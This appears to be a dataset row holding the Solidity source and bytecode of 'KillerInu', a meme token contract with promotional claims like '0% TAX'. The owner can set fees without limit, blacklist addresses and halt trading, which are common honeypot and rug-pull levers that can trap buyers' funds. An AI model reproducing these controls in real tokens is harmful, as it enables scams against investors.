505050505081565b6000600854348115156110d357fe5b0490506110e130338361150f565b50565b60006110f133848461150f565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061112b858561097b565b15611295578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561122557808201518184015260208101905061120a565b50505050905090810190601f1680156112525780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b5050505060019150611296565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b600030905060075482028173ffffffffffffffffffffffffffffffffffffffff1631101515156112f257600080fd5b6112fd33308461150f565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075484029081150290604051600060405180830381858888f19350505050158015611347573d6000803e3d6000fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a757600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114cc57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561153557600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561158357600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561161257600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561166b57600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156116c457600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058208eb5ecaf4f399d26bcaf6a987ae14d83b99144c8266f4e2fcb973c077f70bfae0029 | {"success": true, "error": null, "results": {}} | 10,575 |
0xF1faE2990760664596549ef16e97226aAF6FEf7d | /**
* WELCOME
* WEAK HAND LEFT FAST, ONLY DIAMOND HAND WILL BE AWARDED THIS IS KILLER INU
* HOLD AND TRUST PROCESS
* 0% TAX
* AFTER 24H SOMETHING SPECIAL
*
* KILLER FLIP MEME COINS
*
* website: https://killer-inu.com/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KillerInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KillerInu";
string private constant _symbol = "KILL ";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x178A96D1fC510c299E8B953eD4FABDAAe3ac93E0);
address payable private _marketingAddress = payable(0x76536935C885Db94326328d02855365507C38F6d);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000000000 * 10**9; //5%
uint256 public _maxWalletSize = 500000000000000 * 10**9; //5%
uint256 public _swapTokensAtAmount = 10000000000000 * 10**9; //0.01%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | 0x6080604052600436106101e2576000357c010000000000000000000000000000000000000000000000000000000090048063715018a61161011457806398a5c315116100b2578063bfd7928411610081578063bfd7928414610643578063c3c8cd8014610680578063dd62ed3e14610697578063ea1644d5146106d4576101e9565b806398a5c31514610577578063a2a957bb146105a0578063a9059cbb146105c9578063bdd795ef14610606576101e9565b80638da5cb5b116100ee5780638da5cb5b146104cd5780638f70ccf7146104f85780638f9a55c01461052157806395d89b411461054c576101e9565b8063715018a61461046257806374010ece146104795780637d1db4a5146104a2576101e9565b80632fd689e3116101815780636b9990531161015b5780636b999053146103bc5780636d8aa8f8146103e55780636fc3eaec1461040e57806370a0823114610425576101e9565b80632fd689e31461033b578063313ce5671461036657806349bd5a5e14610391576101e9565b80631694505e116101bd5780631694505e1461027f57806318160ddd146102aa57806323b872dd146102d55780632f9c456914610312576101e9565b8062b8cf2a146101ee57806306fdde0314610217578063095ea7b314610242576101e9565b366101e957005b600080fd5b3480156101fa57600080fd5b5061021560048036038101906102109190612d74565b6106fd565b005b34801561022357600080fd5b5061022c61084d565b60405161023991906131bd565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612d38565b61088a565b6040516102769190613187565b60405180910390f35b34801561028b57600080fd5b506102946108a8565b6040516102a191906131a2565b60405180910390f35b3480156102b657600080fd5b506102bf6108ce565b6040516102cc919061339f565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612cad565b6108e1565b6040516103099190613187565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612cfc565b6109ba565b005b34801561034757600080fd5b50610350610b3d565b60405161035d919061339f565b60405180910390f35b34801561037257600080fd5b5061037b610b43565b6040516103889190613414565b60405180910390f35b34801561039d57600080fd5b506103a6610b4c565b6040516103b3919061316c565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190612c1f565b610b72565b005b3480156103f157600080fd5b5061040c60048036038101906104079190612db5565b610c62565b005b34801561041a57600080fd5b50610423610d13565b005b34801561043157600080fd5b5061044c60048036038101906104479190612c1f565b610dfb565b604051610459919061339f565b60405180910390f35b34801561046e57600080fd5b50610477610e4c565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612dde565b610f9f565b005b3480156104ae57600080fd5b506104b761103e565b6040516104c4919061339f565b60405180910390f35b3480156104d957600080fd5b506104e2611044565b6040516104ef919061316c565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612db5565b61106d565b005b34801561052d57600080fd5b5061053661111f565b604051610543919061339f565b60405180910390f35b34801561055857600080fd5b50610561611125565b60405161056e91906131bd565b60405180910390f35b34801561058357600080fd5b5061059e60048036038101906105999190612dde565b611162565b005b3480156105ac57600080fd5b506105c760048036038101906105c29190612e07565b611201565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612d38565b6112b8565b6040516105fd9190613187565b60405180910390f35b34801561061257600080fd5b5061062d60048036038101906106289190612c1f565b6112d6565b60405161063a9190613187565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612c1f565b6112f6565b6040516106779190613187565b60405180910390f35b34801561068c57600080fd5b50610695611316565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612c71565b6113ef565b6040516106cb919061339f565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612dde565b611476565b005b610705611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610789906132ff565b60405180910390fd5b60005b8151811015610849576001601060008484815181106107dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610841906136d9565b915050610795565b5050565b60606040518060400160405280600981526020017f4b696c6c6572496e750000000000000000000000000000000000000000000000815250905090565b600061089e610897611515565b848461151d565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006a084595161401484a000000905090565b60006108ee8484846116e8565b6109af846108fa611515565b6109aa85604051806060016040528060288152602001613bc060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610960611515565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f069092919063ffffffff16565b61151d565b600190509392505050565b6109c2611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132ff565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad9906132bf565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b7a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe906132ff565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c6a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee906132ff565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d54611515565b73ffffffffffffffffffffffffffffffffffffffff161480610dca5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610db2611515565b73ffffffffffffffffffffffffffffffffffffffff16145b610dd357600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16319050610df881611f6a565b50565b6000610e45600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612065565b9050919050565b610e54611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed8906132ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fa7611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b906132ff565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611075611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f9906132ff565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f4b494c4c20000000000000000000000000000000000000000000000000000000815250905090565b61116a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee906132ff565b60405180910390fd5b8060198190555050565b611209611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906132ff565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112cc6112c5611515565b84846116e8565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611357611515565b73ffffffffffffffffffffffffffffffffffffffff1614806113cd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b5611515565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d657600080fd5b60006113e130610dfb565b90506113ec816120d3565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147e611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461150b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611502906132ff565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115849061337f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f49061325f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116db919061339f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f9061333f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bf906131df565b60405180910390fd5b6000811161180b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118029061331f565b60405180910390fd5b611813611044565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118815750611851611044565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0557601660149054906101000a900460ff1661192757601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d906131ff565b60405180910390fd5b5b60175481111561196c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119639061323f565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a105750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a469061327f565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611afc5760185481611ab184610dfb565b611abb91906134d5565b10611afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af29061335f565b60405180910390fd5b5b6000611b0730610dfb565b9050600060195482101590506017548210611b225760175491505b808015611b3c5750601660159054906101000a900460ff16155b8015611b965750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611bac575060168054906101000a900460ff165b15611c0257611bba826120d3565b60003073ffffffffffffffffffffffffffffffffffffffff163190506000811115611c0057611bff3073ffffffffffffffffffffffffffffffffffffffff1631611f6a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cac5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d5f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d5e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d6d5760009050611ef4565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffff